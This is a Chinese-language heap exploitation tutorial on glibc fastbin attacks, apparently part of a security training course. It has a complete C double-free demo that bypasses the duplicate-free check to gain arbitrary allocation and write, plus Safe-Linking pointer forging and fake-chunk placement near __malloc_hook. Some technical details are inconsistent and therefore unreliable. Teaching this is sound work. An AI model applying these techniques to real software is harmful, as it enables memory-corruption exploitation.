昨天掌握了Tcache Poisoning攻击,学会了如何利用现代Glibc的线程缓存实现任意地址分配。今天,我们将目光转向另一个经典的堆利用攻击面——Fastbin Attack。
Fastbin是ptmalloc中用于管理小型空闲堆块(通常32-128字节)的机制。与Tcache类似,Fastbin也是单链表结构,且不合并相邻的空闲块。但与Tcache不同的是,Fastbin在分配和释放时遵循LIFO(后进先出)顺序,并且不会对取出链表的块进行大小检查——这正是攻击者可以利用的关键特性。通过篡改Fastbin链表,你可以让malloc返回一个伪造的堆块地址,实现任意地址分配。
今天的目标是深入理解Fastbin的工作机制,掌握Fastbin Double Free和**伪造堆块(Fake Chunk)**两种经典攻击技术,并能够结合现代Glibc的保护机制(如Safe-Linking)设计绕过方案。
第四周·周四:Fastbin Attack——从Double Free到任意地址分配
🎯 今日练习目标
- 能解释Fastbin的工作机制:单链表结构、LIFO顺序、不合并相邻块、无大小检查。
- 能理解Fastbin Double Free的原理:通过连续释放同一个堆块两次,构造循环链表,实现多次分配同一地址。
- 能理解伪造Fastbin堆块攻击的原理:在目标地址构造一个“合法”的size字段,使Fastbin误认为该地址是一个空闲堆块。
- 能编写包含Fastbin漏洞的C程序,利用Double Free或伪造堆块实现任意地址分配。
- 能使用GDB观察Fastbin链表变化,验证攻击效果。
- 能理解Safe-Linking(Glibc 2.32+)保护机制,并知道其绕过思路。
📘 一、Fastbin核心机制详解
Fastbin是ptmalloc中用于快速处理小型内存请求的机制。它的设计目标非常明确:速度优先,安全性靠后。这使得它成为堆利用的经典攻击面。
1. Fastbin的数据结构
Fastbin是一个简单的单链表数组,默认包含10个bin(NBINS),每个bin管理固定大小的空闲堆块。在64位系统下,这些bin管理的堆块大小分别为32、48、64、80、96、112、128、144、160、176字节。
// glibc源码中的简化定义typedefstructmalloc_chunk{size_tprev_size;// 前一个堆块的大小(如果前一个堆块空闲)size_tsize;// 当前堆块的大小(包含标志位)structmalloc_chunk*fd;// 前向指针(空闲时指向链表中的下一个堆块)structmalloc_chunk*bk;// 后向指针(空闲时指向链表中的上一个堆块,Fastbin中不使用)}*mstate;// Fastbin数组(存储在arena中)typedefstructmalloc_state{mfastbinptr fastbinsY[NFASTBINS];// 每个bin是一个链表头// ...}*mstate;关键特性:
- 单链表:每个Fastbin是一个单向链表,空闲块的
fd指针指向链表中的下一个空闲块。bk指针在Fastbin中不被使用。 - LIFO顺序:新释放的块总是插入到链表头部,分配时也总是从链表头部取出。因此,最后释放的块会被最先分配出去。
- 不合并:Fastbin中的空闲块不会与相邻的空闲块合并,即使它们在物理内存上是连续的。
- 无大小检查:在从Fastbin取链时,ptmalloc不会验证取出块的大小是否与当前Fastbin匹配。这是攻击者可以利用的核心漏洞。
2. Fastbin的释放与分配流程
释放流程(free):
- 检查被释放块的大小是否在Fastbin范围内(
< global_max_fast)。 - 检查其下一个堆块的
PREV_INUSE位是否被置位(防止Double Free)。 - 将该块插入对应大小Fastbin链表的头部。
- 更新链表头指针,设置
fd指向原来的链表头。
分配流程(malloc):
- 检查对应大小的Fastbin链表是否为空。
- 如果不为空,从链表头部取出第一个块。
- 更新链表头指针为取出块的
fd。 - 返回该块给用户。不检查块大小是否匹配。
注意:在现代Glibc(2.31+)中,Fastbin在释放时也会进行一些安全检查,例如检查fd指针是否指向合法的堆地址。此外,Glibc 2.32引入了Safe-Linking机制,对fd指针进行了异或加密保护。
3. Fastbin vs Tcache:谁更“危险”?
| 特性 | Fastbin | Tcache |
|---|---|---|
| 引入版本 | 早期ptmalloc | Glibc 2.26 |
| 容量限制 | 无限制 | 每个bin最多7个 |
| 安全检查 | 基本检查(无大小验证) | 早期无,2.29+引入Key |
| 优先级 | 低于Tcache | 最高优先级 |
| 合并行为 | 不合并 | 不合并 |
在实际利用中,Tcache是优先攻击目标,因为它的优先级更高且早期缺乏保护。但当Tcache被占满或存在保护机制时,Fastbin就成为备选攻击面。两者的攻击思路非常相似:都是通过篡改单链表的fd/next指针来实现任意地址分配。
📘 二、Fastbin Double Free攻击原理
Fastbin Double Free是最经典的Fastbin攻击技术。它的核心思想是:连续释放同一个堆块两次,使得Fastbin链表中出现循环,从而可以让同一个地址被多次分配。
攻击步骤:
- 分配一个Fastbin大小的堆块A。
- 释放A。此时Fastbin链表为:
A -> NULL。 - 再次释放A。由于没有任何检查(早期Glibc),A再次被插入链表头部:
A -> A -> A -> ...(循环链表)。 - 第一次malloc:返回A,链表变为:
A -> A -> ...(仍然是循环)。 - 修改A的fd指针,将其指向目标地址。
- 第二次malloc:返回A,链表变为:
[目标地址] -> A -> ...。 - 第三次malloc:返回目标地址!
现代Glibc的防护:Glibc 2.31+对Fastbin Double Free增加了简单的检测——检查链表头部的第一个块是否与当前释放的块相同。但这可以通过先释放一个不同的块B(A -> B -> A模式)来绕过。
✍️ 三、动手实践:Fastbin Double Free全流程
实践 1:编写漏洞程序 (fastbin_double_free.c)
#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>unsignedlongtarget=0xdeadbeef;// 攻击目标intmain(){setbuf(stdout,NULL);setbuf(stderr,NULL);printf("=== Fastbin Double Free Demo ===\n");printf("[+] target variable is at: %p, value: 0x%lx\n",&target,target);// 1. 分配三个Fastbin大小的堆块size_t*a=(size_t*)malloc(0x60);size_t*b=(size_t*)malloc(0x60);size_t*c=(size_t*)malloc(0x60);// 用于绕过Double Free检测printf("[+] Allocated a: %p\n",a);printf("[+] Allocated b: %p\n",b);printf("[+] Allocated c: %p\n",c);// 2. 释放a、b、a(绕过Glibc 2.31+的Double Free检测)free(a);free(b);free(a);// 现在Fastbin链表为:a -> b -> a -> b -> ...(循环)printf("[+] Freed a, b, a (Double Free)\n");// 3. 第一次malloc得到a,修改其fd指针size_t*p1=(size_t*)malloc(0x60);// 返回a*p1=(size_t)(&target);// 修改a->fd指向targetprintf("[+] malloc 1 (should be a): %p\n",p1);printf("[+] Modified a->fd to point to target\n");// 4. 第二次malloc得到bsize_t*p2=(size_t*)malloc(0x60);// 返回bprintf("[+] malloc 2 (should be b): %p\n",p2);// 5. 第三次malloc应该返回target地址size_t*p3=(size_t*)malloc(0x60);printf("[+] malloc 3 (should be target): %p\n",p3);// 6. 验证任意写能力if(p3==(size_t*)&target){*p3=0xcafebabe;printf("[+] Modified target to 0x%lx\n",target);}else{printf("[!] Fastbin double free failed\n");}return0;}实践 2:编译并运行 (1小时)
# 编译(Glibc 2.31+ 需要绕过Double Free检测,所以使用a->b->a模式)gcc -fno-stack-protector -no-pie-ofastbin_double_free fastbin_double_free.c-g# 运行./fastbin_double_free预期输出:
=== Fastbin Double Free Demo === [+] target variable is at: 0x404060, value: 0xdeadbeef [+] Allocated a: 0x55555555a260 [+] Allocated b: 0x55555555a2d0 [+] Allocated c: 0x55555555a340 [+] Freed a, b, a (Double Free) [+] malloc 1 (should be a): 0x55555555a260 [+] Modified a->fd to point to target [+] malloc 2 (should be b): 0x55555555a2d0 [+] malloc 3 (should be target): 0x404060 [+] Modified target to 0xcafebabe实践 3:使用GDB观察Fastbin链表变化 (1.5小时)
gdb ./fastbin_double_free# 设置断点(gdb)break*main+100# free之前(gdb)break*main+200# Double Free之后(gdb)break*main+300# 修改fd之后(gdb)run# 查看Fastbin链表(gdb)x/10gx&main_arena.fastbinsY# 查看Fastbin数组# 或者直接在free后查看a->fd(gdb)x/gx a# a->fd应该指向b# 在Double Free后,链表为a->b->a->...(gdb)x/gx a# a->fd = b(gdb)x/gx b# b->fd = a# 在修改fd后(gdb)x/gx a# a->fd = target地址实践 4:理解Safe-Linking保护 (1小时)
Glibc 2.32引入了Safe-Linking机制,对Fastbin(以及Tcache)的fd/next指针进行异或加密保护:
// 加密后的指针#definePROTECT_PTR(pos,ptr)\((__typeof(ptr))(((size_t)(pos)>>12)^((size_t)(ptr))))// 解密指针#defineREVEAL_PTR(ptr)\PROTECT_PTR(ptr,ptr)这意味着空闲块的fd字段不再直接存储下一个块的地址,而是存储(当前块地址 >> 12) ^ 下一个块地址。攻击者需要知道当前堆块的地址才能正确解密和伪造fd指针。
绕过思路:
- 信息泄露:如果攻击者能够泄露堆地址,就可以计算出正确的加密值。
- 使用其他漏洞原语:如Tcache Poisoning(如果Tcache可用)或转向更复杂的攻击技术。
// Safe-Linking下的指针计算示例size_tchunk_addr=(size_t)a;size_ttarget_addr=(size_t)(&target);size_tprotected_fd=(chunk_addr>>12)^target_addr;*a=protected_fd;// 写入加密后的指针实践 5:伪造Fastbin堆块攻击 (1小时)
除了Double Free,另一种经典的Fastbin攻击是伪造一个Fastbin大小的堆块。攻击思路是:在目标地址附近构造一个满足Fastbin大小要求的伪造size字段,然后通过溢出或UAF将该地址链入Fastbin链表,实现对该地址的分配。
关键条件:目标地址处必须有一个“合法”的size字段,其值必须匹配某个Fastbin的大小范围。例如,如果malloc(0x60)(实际堆块大小0x70),则目标地址处的size字段必须为0x70或0x71(取决于PREV_INUSE位)。
// 经典案例:在__malloc_hook附近寻找伪造的size字段// __malloc_hook - 0x23处有一个0x7f大小的“合法”size字段// 这个伪造的size使得攻击者可以分配到一个包含__malloc_hook的堆块size_tfake_size_addr=(size_t)(__malloc_hook_addr)-0x23;// *fake_size_addr = 0x7f (恰好匹配malloc(0x60)的块大小)这种技术需要精确的内存布局分析,是CTF竞赛中非常常见的考点。
📝 四、今日产出物检查
- 成功编写并运行了Fastbin Double Free漏洞利用程序
- GDB分析记录,展示了Fastbin链表变化和任意地址分配效果
- Safe-Linking保护的分析笔记,包含加密/解密公式
- 伪造Fastbin堆块攻击的尝试记录(可在CTF环境中练习)
- 一份Fastbin Attack技术对比表(Double Free vs Fake Chunk vs Tcache Poisoning)
✅ 今日自检清单
- 我理解了Fastbin的单链表结构、LIFO特性和无大小检查的特点。
- 我能够解释Fastbin Double Free的攻击原理:构造循环链表→修改fd→任意分配。
- 我成功编写了一个利用Double Free实现任意地址分配的程序。
- 我使用GDB观察了Fastbin链表的变化,验证了攻击效果。
- 我理解了Safe-Linking的保护机制及其绕过条件。
- 我了解了伪造Fastbin堆块攻击的基本思路,并知道它常用于覆盖hook函数。
- 我认识到,Fastbin Attack是Tcache不可用时的首选替代攻击面。
⚠️ 阶段避坑重点
- Fastbin大小限制:只有特定大小范围内的堆块才会进入Fastbin。在64位系统上,Fastbin管理的最大堆块是0x80(用户请求0x70)。超过此大小的堆块在释放时会进入unsorted bin而不是Fastbin。
- Double Free的检测:Glibc 2.31+检查链表头部的第一个块是否与当前释放的块相同。但可以通过
free(A); free(B); free(A)的顺序绕过。更高级的检测(如tcache key)在Fastbin中不存在。 - Safe-Linking的异或:加密使用的位移是固定的
>> 12(页大小)。这意味着攻击者需要知道堆块的地址才能正确解密。这也意味着在启用ASLR的环境中,通常需要先通过信息泄露获取堆地址。 - 伪造size字段的合法性:伪造Fastbin堆块时,目标地址处的
size字段必须精确匹配某个Fastbin的大小范围,且其最低位(PREV_INUSE)通常需要置位。常见的技巧是在hook函数附近寻找“天然”满足条件的字节序列。 - 地址对齐:
malloc返回的地址必须满足对齐要求(64位系统为16字节对齐)。如果伪造的地址不满足对齐,malloc可能崩溃。
🎉 恭喜你掌握了Fastbin Attack的核心技术!今天你学会了两种经典的Fastbin利用方法——Double Free和伪造堆块,并通过实际编写代码验证了它们的威力。你还了解了Safe-Linking等现代保护机制及其绕过思路。明天,我们将进行第四周的综合挑战赛,你需要在一个限时环境中综合运用你前三周学到的所有技能——代码审计、漏洞利用开发、模糊测试和崩溃分析——来完成一次完整的漏洞挖掘与利用闭环。这将是你成为高级安全工程师的关键一战。